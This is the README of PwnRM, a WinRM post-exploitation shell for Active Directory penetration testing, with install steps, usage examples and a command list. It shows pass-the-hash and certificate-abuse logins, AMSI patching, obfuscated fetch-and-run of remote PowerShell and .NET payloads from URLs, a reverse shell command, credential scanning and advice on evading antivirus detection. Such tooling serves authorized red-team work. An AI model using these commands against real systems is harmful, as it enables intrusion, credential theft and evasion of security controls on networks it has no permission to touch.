PwnRM ASCII

Advanced WinRM Post-Exploitation Shell for Windows Active Directory Testing

GitHub stars Hall of Fame GitHub forks GitHub issues License PyPI Platform Python

An operator-grade WinRM execution framework for authorized Active Directory security assessments: interactive PowerShell runspace over MS-PSRP, every modern AD auth path, stealthy payload delivery, and a built-in AD triage engine — usable as a CLI tool and as a Python library.

Installation

pip (recommended)

pip install pwnrm

git clone + installer (Kali / Ubuntu / Debian)

git clone https://github.com/uziii2208/PwnRM.git
cd PwnRM
sudo bash install.sh

The installer creates a virtualenv at /opt/pwnrm and registers a global pwnrm wrapper.

Manual / dev

git clone https://github.com/uziii2208/PwnRM.git
cd PwnRM
python3 -m venv venv && source venv/bin/activate
pip install -e .

Usage

# Password
pwnrm -u Administrator -p 'P@ssw0rd!' 192.168.1.10

# Pass-the-Hash
pwnrm -u Administrator -H :aad3b435b51404eeaad3b435b51404ee dc01.corp.local

# Kerberos (ccache / KRB5CCNAME)
pwnrm -u administrator@CORP.LOCAL -k --ccache /tmp/admin.ccache dc01.corp.local

# Client certificate — ADCS abuse paths (ESC1 / ESC9 / Shadow Credentials)
pwnrm -u administrator@CORP.LOCAL --pfx admin.pfx --pfx-pass secret https://dc01:5986

# CredSSP (double-hop / credential delegation)
pwnrm -u admin -p 'P@ss' --credssp dc01.corp.local

# Non-interactive single command
pwnrm -u admin -p 'P@ss' dc01.corp.local -X "whoami /all"

Key flags: --port, --ssl, --timeout, --ts, --debug. Run pwnrm -h for the full list.

Commands

Command Description
!download RPATH [LPATH] Pull file/dir from target (dirs auto-zipped)
!upload [-xor] LPATH [RPATH] Push file; -xor for encrypted staging
!amsi Patch AmsiScanBuffer in the remote process
!psrun [-xor] URL Execute remote PowerShell via obfuscated ScriptBlock
!netrun [-xor] URL [ARG..] Load & invoke remote .NET assembly
!revshell IP PORT Raw Winsock reverse shell (full I/O)
!adtriage [-q] Built-in AD enumeration engine (see below)
!sysinfo OS / AV / hotfix / local-admin snapshot
!creds DPAPI / PS-history / credential artifact scanner
!log / !stoplog Toggle session transcript
exit / Ctrl+D Close session · Ctrl+C interrupts a running command

Tab-completion for all built-ins via prompt_toolkit.

AD Triage

!adtriage runs a self-contained LDAP/WMI enumeration entirely inside the remote PowerShell session — no extra binaries on target. -q = quick mode (identity + domain + Server 2025 / BadSuccessor check).

Covers: identity & privileges · domain / forest / DCs / trusts · high-value groups · Kerberoastable SPNs · AS-REP roastables · unconstrained / constrained / RBCD delegation · ADCS templates (ESC1/3/4 quick scan) · gMSA / dMSA (BadSuccessor) · ACL quick-wins on DA/DC/krbtgt · pre-Windows-2000 compat access · password-never-expires admins.

Library Usage

from pwnrm import Runspace, PwnShell, create_transport, argument_parser

args = argument_parser().parse_args(["-u", "admin", "-p", "P@ss", "10.0.0.5"])
with Runspace(create_transport(args), int(args.timeout)) as rs:
    shell = PwnShell(rs)
    print(shell.run_sync("whoami /all"))        # blocking
    for out in rs.run_command("Get-Process"):   # streaming
        print(out)

Troubleshooting

Problem Fix
pwnrm: command not found pip install pwnrm or sudo bash install.sh (clone mode)
Kerberos KRB_AP_ERR_SKEW sudo ntpdate <DC_IP>
WinRM connection refused On target: Enable-PSRemoting -Force
AMSI catches payloads !amsi first, or !upload -xor + !netrun -xor
